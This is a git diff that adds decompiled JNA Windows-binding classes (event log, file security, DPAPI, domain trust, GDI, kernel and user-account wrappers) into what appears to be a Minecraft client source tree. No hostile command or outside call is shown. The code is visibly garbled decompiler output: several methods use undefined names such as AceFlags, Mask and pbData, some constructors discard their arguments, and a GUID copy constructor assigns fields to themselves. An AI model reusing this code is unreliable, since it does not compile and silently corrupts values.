+          offset += s.length() * Native.WCHAR_SIZE;
+          offset += Native.WCHAR_SIZE;
+          count--;
+        }
+        _strings = ((String[])strings.toArray(new String[0]));
+      }
+    }
+  }
+  
+
+
+
+  public static class EventLogIterator
+    implements Iterable<Advapi32Util.EventLogRecord>, Iterator<Advapi32Util.EventLogRecord>
+  {
+    private WinNT.HANDLE _h = null;
+    private Memory _buffer = new Memory(65536L);
+    private boolean _done = false;
+    private int _dwRead = 0;
+    private Pointer _pevlr = null;
+    private int _flags = 4;
+    
+    public EventLogIterator(String sourceName) {
+      this(null, sourceName, 4);
+    }
+    
+    public EventLogIterator(String serverName, String sourceName, int flags) {
+      _flags = flags;
+      _h = Advapi32.INSTANCE.OpenEventLog(serverName, sourceName);
+      if (_h == null) {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+    }
+    
+    private boolean read()
+    {
+      if ((_done) || (_dwRead > 0)) {
+        return false;
+      }
+      
+      IntByReference pnBytesRead = new IntByReference();
+      IntByReference pnMinNumberOfBytesNeeded = new IntByReference();
+      
+      if (!Advapi32.INSTANCE.ReadEventLog(_h, 0x1 | _flags, 0, _buffer, (int)_buffer.size(), pnBytesRead, pnMinNumberOfBytesNeeded))
+      {
+
+
+        int rc = Kernel32.INSTANCE.GetLastError();
+        
+
+        if (rc == 122) {
+          _buffer = new Memory(pnMinNumberOfBytesNeeded.getValue());
+          
+          if (!Advapi32.INSTANCE.ReadEventLog(_h, 0x1 | _flags, 0, _buffer, (int)_buffer.size(), pnBytesRead, pnMinNumberOfBytesNeeded))
+          {
+
+            throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+          }
+        }
+        else {
+          close();
+          if (rc != 38) {
+            throw new Win32Exception(rc);
+          }
+          return false;
+        }
+      }
+      
+      _dwRead = pnBytesRead.getValue();
+      _pevlr = _buffer;
+      return true;
+    }
+    
+
+
+
+    public void close()
+    {
+      _done = true;
+      if (_h != null) {
+        if (!Advapi32.INSTANCE.CloseEventLog(_h)) {
+          throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+        }
+        _h = null;
+      }
+    }
+    
+    public Iterator<Advapi32Util.EventLogRecord> iterator()
+    {
+      return this;
+    }
+    
+    public boolean hasNext()
+    {
+      read();
+      return !_done;
+    }
+    
+    public Advapi32Util.EventLogRecord next()
+    {
+      read();
+      Advapi32Util.EventLogRecord record = new Advapi32Util.EventLogRecord(_pevlr);
+      _dwRead -= record.getLength();
+      _pevlr = _pevlr.share(record.getLength());
+      return record;
+    }
+    
+
+    public void remove() {}
+  }
+  
+  public static WinNT.ACCESS_ACEStructure[] getFileSecurity(String fileName, boolean compact)
+  {
+    int infoType = 4;
+    int nLength = 1024;
+    boolean repeat = false;
+    Memory memory = null;
+    do
+    {
+      repeat = false;
+      memory = new Memory(nLength);
+      IntByReference lpnSize = new IntByReference();
+      boolean succeded = Advapi32.INSTANCE.GetFileSecurity(new WString(fileName), infoType, memory, nLength, lpnSize);
+      
+      if (!succeded) {
+        int lastError = Kernel32.INSTANCE.GetLastError();
+        memory.clear();
+        if (122 != lastError) {
+          throw new Win32Exception(lastError);
+        }
+      }
+      int lengthNeeded = lpnSize.getValue();
+      if (nLength < lengthNeeded) {
+        repeat = true;
+        nLength = lengthNeeded;
+        memory.clear();
+      }
+    } while (repeat);
+    
+
+    WinNT.SECURITY_DESCRIPTOR_RELATIVE sdr = new WinNT.SECURITY_DESCRIPTOR_RELATIVE(memory);
+    memory.clear();
+    WinNT.ACL dacl = sdr.getDiscretionaryACL();
+    WinNT.ACCESS_ACEStructure[] aceStructures = dacl.getACEStructures();
+    
+    if (compact) {
+      Map<String, WinNT.ACCESS_ACEStructure> aceMap = new HashMap();
+      for (WinNT.ACCESS_ACEStructure aceStructure : aceStructures) {
+        boolean inherted = (AceFlags & 0x1F) != 0;
+        String key = aceStructure.getSidString() + "/" + inherted + "/" + aceStructure.getClass().getName();
+        WinNT.ACCESS_ACEStructure aceStructure2 = (WinNT.ACCESS_ACEStructure)aceMap.get(key);
+        if (aceStructure2 != null) {
+          int accessMask = Mask;
+          accessMask |= Mask;
+          Mask = accessMask;
+        } else {
+          aceMap.put(key, aceStructure);
+        }
+      }
+      return (WinNT.ACCESS_ACEStructure[])aceMap.values().toArray(new WinNT.ACCESS_ACEStructure[aceMap.size()]);
+    }
+    return aceStructures;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/BaseTSD.java b/src/minecraft/com/sun/jna/platform/win32/BaseTSD.java
new file mode 100644
index 0000000..bc721ff
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/BaseTSD.java
@@ -0,0 +1,119 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.IntegerType;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.ByReference;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface BaseTSD
+  extends StdCallLibrary
+{
+  public static class LONG_PTR
+    extends IntegerType
+  {
+    public LONG_PTR()
+    {
+      this(0L);
+    }
+    
+    public LONG_PTR(long value) {
+      super(value);
+    }
+  }
+  
+  public static class SSIZE_T
+    extends BaseTSD.LONG_PTR
+  {
+    public SSIZE_T()
+    {
+      this(0L);
+    }
+    
+    public SSIZE_T(long value) {
+      super();
+    }
+  }
+  
+  public static class ULONG_PTR
+    extends IntegerType
+  {
+    public ULONG_PTR()
+    {
+      this(0L);
+    }
+    
+    public ULONG_PTR(long value) {
+      super(value);
+    }
+  }
+  
+
+
+  public static class ULONG_PTRByReference
+    extends ByReference
+  {
+    public ULONG_PTRByReference() { this(new BaseTSD.ULONG_PTR(0L)); }
+    
+    public ULONG_PTRByReference(BaseTSD.ULONG_PTR value) {
+      super();
+      setValue(value);
+    }
+    
+    public void setValue(BaseTSD.ULONG_PTR value) { if (Pointer.SIZE == 4) {
+        getPointer().setInt(0L, value.intValue());
+      }
+      else
+        getPointer().setLong(0L, value.longValue());
+    }
+    
+    public BaseTSD.ULONG_PTR getValue() {
+      return new BaseTSD.ULONG_PTR(Pointer.SIZE == 4 ? getPointer().getInt(0L) : getPointer().getLong(0L));
+    }
+  }
+  
+
+
+
+  public static class DWORD_PTR
+    extends IntegerType
+  {
+    public DWORD_PTR()
+    {
+      this(0L);
+    }
+    
+    public DWORD_PTR(long value) {
+      super(value);
+    }
+  }
+  
+
+  public static class SIZE_T
+    extends BaseTSD.ULONG_PTR
+  {
+    public SIZE_T()
+    {
+      this(0L);
+    }
+    
+    public SIZE_T(long value) {
+      super();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Crypt32.java b/src/minecraft/com/sun/jna/platform/win32/Crypt32.java
new file mode 100644
index 0000000..b7b58c2
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Crypt32.java
@@ -0,0 +1,34 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Crypt32
+  extends StdCallLibrary
+{
+  public static final Crypt32 INSTANCE = (Crypt32)Native.loadLibrary("Crypt32", Crypt32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract boolean CryptProtectData(WinCrypt.DATA_BLOB paramDATA_BLOB1, String paramString, WinCrypt.DATA_BLOB paramDATA_BLOB2, Pointer paramPointer, WinCrypt.CRYPTPROTECT_PROMPTSTRUCT paramCRYPTPROTECT_PROMPTSTRUCT, int paramInt, WinCrypt.DATA_BLOB paramDATA_BLOB3);
+  
+  public abstract boolean CryptUnprotectData(WinCrypt.DATA_BLOB paramDATA_BLOB1, PointerByReference paramPointerByReference, WinCrypt.DATA_BLOB paramDATA_BLOB2, Pointer paramPointer, WinCrypt.CRYPTPROTECT_PROMPTSTRUCT paramCRYPTPROTECT_PROMPTSTRUCT, int paramInt, WinCrypt.DATA_BLOB paramDATA_BLOB3);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Crypt32Util.java b/src/minecraft/com/sun/jna/platform/win32/Crypt32Util.java
new file mode 100644
index 0000000..746d4c2
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Crypt32Util.java
@@ -0,0 +1,140 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.ptr.PointerByReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Crypt32Util
+{
+  public Crypt32Util() {}
+  
+  public static byte[] cryptProtectData(byte[] data)
+  {
+    return cryptProtectData(data, 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public static byte[] cryptProtectData(byte[] data, int flags)
+  {
+    return cryptProtectData(data, null, flags, "", null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte[] cryptProtectData(byte[] data, byte[] entropy, int flags, String description, WinCrypt.CRYPTPROTECT_PROMPTSTRUCT prompt)
+  {
+    WinCrypt.DATA_BLOB pDataIn = new WinCrypt.DATA_BLOB(data);
+    WinCrypt.DATA_BLOB pDataProtected = new WinCrypt.DATA_BLOB();
+    WinCrypt.DATA_BLOB pEntropy = entropy == null ? null : new WinCrypt.DATA_BLOB(entropy);
+    try {
+      if (!Crypt32.INSTANCE.CryptProtectData(pDataIn, description, pEntropy, null, prompt, flags, pDataProtected))
+      {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+      return pDataProtected.getData();
+    } finally {
+      if (pbData != null) {
+        Kernel32.INSTANCE.LocalFree(pbData);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public static byte[] cryptUnprotectData(byte[] data)
+  {
+    return cryptUnprotectData(data, 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public static byte[] cryptUnprotectData(byte[] data, int flags)
+  {
+    return cryptUnprotectData(data, null, flags, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte[] cryptUnprotectData(byte[] data, byte[] entropy, int flags, WinCrypt.CRYPTPROTECT_PROMPTSTRUCT prompt)
+  {
+    WinCrypt.DATA_BLOB pDataIn = new WinCrypt.DATA_BLOB(data);
+    WinCrypt.DATA_BLOB pDataUnprotected = new WinCrypt.DATA_BLOB();
+    WinCrypt.DATA_BLOB pEntropy = entropy == null ? null : new WinCrypt.DATA_BLOB(entropy);
+    PointerByReference pDescription = new PointerByReference();
+    try {
+      if (!Crypt32.INSTANCE.CryptUnprotectData(pDataIn, pDescription, pEntropy, null, prompt, flags, pDataUnprotected))
+      {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+      return pDataUnprotected.getData();
+    } finally {
+      if (pbData != null) {
+        Kernel32.INSTANCE.LocalFree(pbData);
+      }
+      if (pDescription.getValue() != null) {
+        Kernel32.INSTANCE.LocalFree(pDescription.getValue());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/DsGetDC.java b/src/minecraft/com/sun/jna/platform/win32/DsGetDC.java
new file mode 100644
index 0000000..74e5c7f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/DsGetDC.java
@@ -0,0 +1,232 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.WString;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+public abstract interface DsGetDC
+  extends StdCallLibrary
+{
+  public static final int DS_DOMAIN_IN_FOREST = 1;
+  public static final int DS_DOMAIN_DIRECT_OUTBOUND = 2;
+  public static final int DS_DOMAIN_TREE_ROOT = 4;
+  public static final int DS_DOMAIN_PRIMARY = 8;
+  public static final int DS_DOMAIN_NATIVE_MODE = 16;
+  public static final int DS_DOMAIN_DIRECT_INBOUND = 32;
+  public static final int DS_DOMAIN_VALID_FLAGS = 63;
+  
+  public static class DOMAIN_CONTROLLER_INFO
+    extends Structure
+  {
+    public WString DomainControllerName;
+    public WString DomainControllerAddress;
+    public int DomainControllerAddressType;
+    public Guid.GUID DomainGuid;
+    public WString DomainName;
+    public WString DnsForestName;
+    public int Flags;
+    public WString DcSiteName;
+    public WString ClientSiteName;
+    
+    public DOMAIN_CONTROLLER_INFO() {}
+    
+    public DOMAIN_CONTROLLER_INFO(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+
+
+
+
+
+
+
+    public static class ByReference
+      extends DsGetDC.DOMAIN_CONTROLLER_INFO
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static class PDOMAIN_CONTROLLER_INFO
+    extends Structure
+  {
+    public DsGetDC.DOMAIN_CONTROLLER_INFO.ByReference dci;
+    
+
+
+
+
+
+
+
+    public PDOMAIN_CONTROLLER_INFO() {}
+    
+
+
+
+
+
+
+
+    public static class ByReference
+      extends DsGetDC.PDOMAIN_CONTROLLER_INFO
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static class DS_DOMAIN_TRUSTS
+    extends Structure
+  {
+    public WString NetbiosDomainName;
+    
+
+
+
+
+
+
+    public WString DnsDomainName;
+    
+
+
+
+
+
+
+    public NativeLong Flags;
+    
+
+
+
+
+
+
+    public NativeLong ParentIndex;
+    
+
+
+
+
+
+
+    public NativeLong TrustType;
+    
+
+
+
+
+
+
+    public NativeLong TrustAttributes;
+    
+
+
+
+
+
+
+    public WinNT.PSID.ByReference DomainSid;
+    
+
+
+
+
+
+
+    public Guid.GUID DomainGuid;
+    
+
+
+
+
+
+
+
+    public DS_DOMAIN_TRUSTS() {}
+    
+
+
+
+
+
+
+
+    public static class ByReference
+      extends DsGetDC.DS_DOMAIN_TRUSTS
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static class PDS_DOMAIN_TRUSTS
+    extends Structure
+  {
+    public DsGetDC.DS_DOMAIN_TRUSTS.ByReference t;
+    
+
+
+
+
+
+
+
+    public PDS_DOMAIN_TRUSTS() {}
+    
+
+
+
+
+
+
+    public DsGetDC.DS_DOMAIN_TRUSTS[] getTrusts(int count)
+    {
+      return (DsGetDC.DS_DOMAIN_TRUSTS[])t.toArray(count);
+    }
+    
+    public static class ByReference
+      extends DsGetDC.PDS_DOMAIN_TRUSTS
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/GDI32.java b/src/minecraft/com/sun/jna/platform/win32/GDI32.java
new file mode 100644
index 0000000..582af82
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/GDI32.java
@@ -0,0 +1,64 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface GDI32
+  extends StdCallLibrary
+{
+  public static final GDI32 INSTANCE = (GDI32)Native.loadLibrary("gdi32", GDI32.class, W32APIOptions.DEFAULT_OPTIONS);
+  
+  public abstract WinDef.HRGN ExtCreateRegion(Pointer paramPointer, int paramInt, WinGDI.RGNDATA paramRGNDATA);
+  
+  public abstract int CombineRgn(WinDef.HRGN paramHRGN1, WinDef.HRGN paramHRGN2, WinDef.HRGN paramHRGN3, int paramInt);
+  
+  public abstract WinDef.HRGN CreateRectRgn(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+  public abstract WinDef.HRGN CreateRoundRectRgn(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+  public abstract WinDef.HRGN CreatePolyPolygonRgn(WinUser.POINT[] paramArrayOfPOINT, int[] paramArrayOfInt, int paramInt1, int paramInt2);
+  
+  public abstract boolean SetRectRgn(WinDef.HRGN paramHRGN, int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+  public abstract int SetPixel(WinDef.HDC paramHDC, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract WinDef.HDC CreateCompatibleDC(WinDef.HDC paramHDC);
+  
+  public abstract boolean DeleteDC(WinDef.HDC paramHDC);
+  
+  public abstract WinDef.HBITMAP CreateDIBitmap(WinDef.HDC paramHDC, WinGDI.BITMAPINFOHEADER paramBITMAPINFOHEADER, int paramInt1, Pointer paramPointer, WinGDI.BITMAPINFO paramBITMAPINFO, int paramInt2);
+  
+  public abstract WinDef.HBITMAP CreateDIBSection(WinDef.HDC paramHDC, WinGDI.BITMAPINFO paramBITMAPINFO, int paramInt1, PointerByReference paramPointerByReference, Pointer paramPointer, int paramInt2);
+  
+  public abstract WinDef.HBITMAP CreateCompatibleBitmap(WinDef.HDC paramHDC, int paramInt1, int paramInt2);
+  
+  public abstract WinNT.HANDLE SelectObject(WinDef.HDC paramHDC, WinNT.HANDLE paramHANDLE);
+  
+  public abstract boolean DeleteObject(WinNT.HANDLE paramHANDLE);
+  
+  public abstract int GetDeviceCaps(WinDef.HDC paramHDC, int paramInt);
+  
+  public abstract int GetDIBits(WinDef.HDC paramHDC, WinDef.HBITMAP paramHBITMAP, int paramInt1, int paramInt2, Pointer paramPointer, WinGDI.BITMAPINFO paramBITMAPINFO, int paramInt3);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Guid.java b/src/minecraft/com/sun/jna/platform/win32/Guid.java
new file mode 100644
index 0000000..1cac038
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Guid.java
@@ -0,0 +1,93 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+
+
+
+
+
+
+
+
+public abstract interface Guid
+{
+  public static class GUID
+    extends Structure
+  {
+    public int Data1;
+    public short Data2;
+    public short Data3;
+    public GUID() {}
+    
+    public static class ByReference
+      extends Guid.GUID
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(Guid.GUID guid)
+      {
+        super();
+        
+        Data1 = Data1;
+        Data2 = Data2;
+        Data3 = Data3;
+        Data4 = Data4;
+      }
+      
+      public ByReference(Pointer memory) {
+        super();
+      }
+    }
+    
+
+
+
+    public GUID(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+    public GUID(byte[] data) {
+      if (data.length != 16) {
+        throw new IllegalArgumentException("Invalid data length: " + data.length);
+      }
+      
+      long data1Temp = data[3] & 0xFF;
+      data1Temp <<= 8;
+      data1Temp |= data[2] & 0xFF;
+      data1Temp <<= 8;
+      data1Temp |= data[1] & 0xFF;
+      data1Temp <<= 8;
+      data1Temp |= data[0] & 0xFF;
+      Data1 = ((int)data1Temp);
+      
+      int data2Temp = data[5] & 0xFF;
+      data2Temp <<= 8;
+      data2Temp |= data[4] & 0xFF;
+      Data2 = ((short)data2Temp);
+      
+      int data3Temp = data[7] & 0xFF;
+      data3Temp <<= 8;
+      data3Temp |= data[6] & 0xFF;
+      Data3 = ((short)data3Temp);
+      
+      Data4[0] = data[8];
+      Data4[1] = data[9];
+      Data4[2] = data[10];
+      Data4[3] = data[11];
+      Data4[4] = data[12];
+      Data4[5] = data[13];
+      Data4[6] = data[14];
+      Data4[7] = data[15];
+    }
+    
+
+
+
+    public byte[] Data4 = new byte[8];
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Kernel32.java b/src/minecraft/com/sun/jna/platform/win32/Kernel32.java
new file mode 100644
index 0000000..7ef257b
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Kernel32.java
@@ -0,0 +1,42 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.win32.W32APIOptions;
+import java.nio.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Kernel32
+  extends WinNT
+{
+  public static final Kernel32 INSTANCE = (Kernel32)Native.loadLibrary("kernel32", Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract int FormatMessage(int paramInt1, Pointer paramPointer1, int paramInt2, int paramInt3, Buffer paramBuffer, int paramInt4, Pointer paramPointer2);
+  
+  public abstract boolean ReadFile(WinNT.HANDLE paramHANDLE, Buffer paramBuffer, int paramInt, IntByReference paramIntByReference, WinBase.OVERLAPPED paramOVERLAPPED);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Kernel32Util.java b/src/minecraft/com/sun/jna/platform/win32/Kernel32Util.java
new file mode 100644
index 0000000..3ad4bbc
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Kernel32Util.java
@@ -0,0 +1,146 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.LastErrorException;
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.PointerByReference;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Kernel32Util
+  implements WinDef
+{
+  public Kernel32Util() {}
+  
+  public static String getComputerName()
+  {
+    char[] buffer = new char[WinBase.MAX_COMPUTERNAME_LENGTH + 1];
+    IntByReference lpnSize = new IntByReference(buffer.length);
+    if (!Kernel32.INSTANCE.GetComputerName(buffer, lpnSize)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    return Native.toString(buffer);
+  }
+  
+
+
+
+
+
+
+  public static String formatMessageFromHR(WinNT.HRESULT code)
+  {
+    PointerByReference buffer = new PointerByReference();
+    if (0 == Kernel32.INSTANCE.FormatMessage(4864, null, code.intValue(), 0, buffer, 0, null))
+    {
+
+
+
+
+
+
+
+
+      throw new LastErrorException(Kernel32.INSTANCE.GetLastError());
+    }
+    String s = buffer.getValue().getString(0L, !Boolean.getBoolean("w32.ascii"));
+    Kernel32.INSTANCE.LocalFree(buffer.getValue());
+    return s.trim();
+  }
+  
+
+
+
+
+
+
+  public static String formatMessageFromLastErrorCode(int code)
+  {
+    return formatMessageFromHR(W32Errors.HRESULT_FROM_WIN32(code));
+  }
+  
+
+
+
+
+  public static String getTempPath()
+  {
+    WinDef.DWORD nBufferLength = new WinDef.DWORD(260L);
+    char[] buffer = new char[nBufferLength.intValue()];
+    if (Kernel32.INSTANCE.GetTempPath(nBufferLength, buffer).intValue() == 0) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    return Native.toString(buffer);
+  }
+  
+  public static void deleteFile(String filename) {
+    if (!Kernel32.INSTANCE.DeleteFile(filename)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+  }
+  
+
+
+
+
+  public static String[] getLogicalDriveStrings()
+  {
+    WinDef.DWORD dwSize = Kernel32.INSTANCE.GetLogicalDriveStrings(new WinDef.DWORD(0L), null);
+    if (dwSize.intValue() <= 0) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    char[] buf = new char[dwSize.intValue()];
+    dwSize = Kernel32.INSTANCE.GetLogicalDriveStrings(dwSize, buf);
+    if (dwSize.intValue() <= 0) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    List<String> drives = new ArrayList();
+    String drive = "";
+    
+    for (int i = 0; i < buf.length - 1; i++) {
+      if (buf[i] == 0) {
+        drives.add(drive);
+        drive = "";
+      } else {
+        drive = drive + buf[i];
+      }
+    }
+    return (String[])drives.toArray(new String[0]);
+  }
+  
+
+
+
+
+
+
+  public static int getFileAttributes(String fileName)
+  {
+    int fileAttributes = Kernel32.INSTANCE.GetFileAttributes(fileName);
+    if (fileAttributes == -1) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    return fileAttributes;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/LMAccess.java b/src/minecraft/com/sun/jna/platform/win32/LMAccess.java
new file mode 100644
index 0000000..95b79a5
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/LMAccess.java
@@ -0,0 +1,350 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.WString;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+public abstract interface LMAccess
+  extends StdCallLibrary
+{
+  public static final int FILTER_TEMP_DUPLICATE_ACCOUNT = 1;
+  public static final int FILTER_NORMAL_ACCOUNT = 2;
+  public static final int FILTER_INTERDOMAIN_TRUST_ACCOUNT = 8;
+  public static final int FILTER_WORKSTATION_TRUST_ACCOUNT = 16;
+  public static final int FILTER_SERVER_TRUST_ACCOUNT = 32;
+  public static final int USER_PRIV_MASK = 3;
+  public static final int USER_PRIV_GUEST = 0;
+  public static final int USER_PRIV_USER = 1;
+  public static final int USER_PRIV_ADMIN = 2;
+  
+  public static class LOCALGROUP_INFO_0
+    extends Structure
+  {
+    public WString lgrui0_name;
+    
+    public LOCALGROUP_INFO_0() {}
+    
+    public LOCALGROUP_INFO_0(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+  public static class LOCALGROUP_INFO_1 extends Structure
+  {
+    public WString lgrui1_name;
+    public WString lgrui1_comment;
+    
+    public LOCALGROUP_INFO_1() {}
+    
+    public LOCALGROUP_INFO_1(Pointer memory) {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+
+
+  public static class USER_INFO_0
+    extends Structure
+  {
+    public WString usri0_name;
+    
+
+
+
+
+
+    public USER_INFO_0() {}
+    
+
+
+
+
+    public USER_INFO_0(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+  public static class USER_INFO_1
+    extends Structure
+  {
+    public WString usri1_name;
+    public WString usri1_password;
+    public int usri1_password_age;
+    public int usri1_priv;
+    public WString usri1_home_dir;
+    public WString usri1_comment;
+    public int usri1_flags;
+    public WString usri1_script_path;
+    
+    public USER_INFO_1() {}
+    
+    public USER_INFO_1(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+
+
+
+  public static class USER_INFO_23
+    extends Structure
+  {
+    WString usri23_name;
+    
+
+
+
+
+
+    WString usri23_full_name;
+    
+
+
+
+
+
+    WString usri23_comment;
+    
+
+
+
+
+
+    int usri23_flags;
+    
+
+
+
+
+
+    WinNT.PSID usri23_user_sid;
+    
+
+
+
+
+
+
+    public USER_INFO_23() {}
+    
+
+
+
+
+
+
+    public USER_INFO_23(Pointer memory)
+    {
+      useMemory(memory);
+      read();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class GROUP_USERS_INFO_0
+    extends Structure
+  {
+    public WString grui0_name;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public GROUP_USERS_INFO_0() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public GROUP_USERS_INFO_0(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+  public static class LOCALGROUP_USERS_INFO_0
+    extends Structure
+  {
+    public WString lgrui0_name;
+    
+
+
+    public LOCALGROUP_USERS_INFO_0() {}
+    
+
+    public LOCALGROUP_USERS_INFO_0(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+  public static class GROUP_INFO_0
+    extends Structure
+  {
+    public WString grpi0_name;
+    
+
+
+    public GROUP_INFO_0() {}
+    
+
+
+    public GROUP_INFO_0(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+  public static class GROUP_INFO_1
+    extends Structure
+  {
+    public WString grpi1_name;
+    
+
+    public WString grpi1_comment;
+    
+
+    public GROUP_INFO_1() {}
+    
+
+    public GROUP_INFO_1(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+  public static class GROUP_INFO_2
+    extends Structure
+  {
+    public WString grpi2_name;
+    
+
+    public WString grpi2_comment;
+    
+
+    public int grpi2_group_id;
+    
+
+    public int grpi2_attributes;
+    
+
+    public GROUP_INFO_2() {}
+    
+
+    public GROUP_INFO_2(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+
+  public static class GROUP_INFO_3
+    extends Structure
+  {
+    public WString grpi3_name;
+    
+
+
+
+    public WString grpi3_comment;
+    
+
+
+    public WinNT.PSID grpi3_group_sid;
+    
+
+
+    public int grpi3_attributes;
+    
+
+
+
+    public GROUP_INFO_3() {}
+    
+
+
+
+    public GROUP_INFO_3(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/LMCons.java b/src/minecraft/com/sun/jna/platform/win32/LMCons.java
new file mode 100644
index 0000000..1737a50
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/LMCons.java
@@ -0,0 +1,10 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.win32.StdCallLibrary;
+
+public abstract interface LMCons
+  extends StdCallLibrary
+{
+  public static final int NETBIOS_NAME_LEN = 16;
+  public static final int MAX_PREFERRED_LENGTH = -1;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/LMErr.java b/src/minecraft/com/sun/jna/platform/win32/LMErr.java
new file mode 100644
index 0000000..d4039d0
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/LMErr.java
@@ -0,0 +1,322 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.win32.StdCallLibrary;
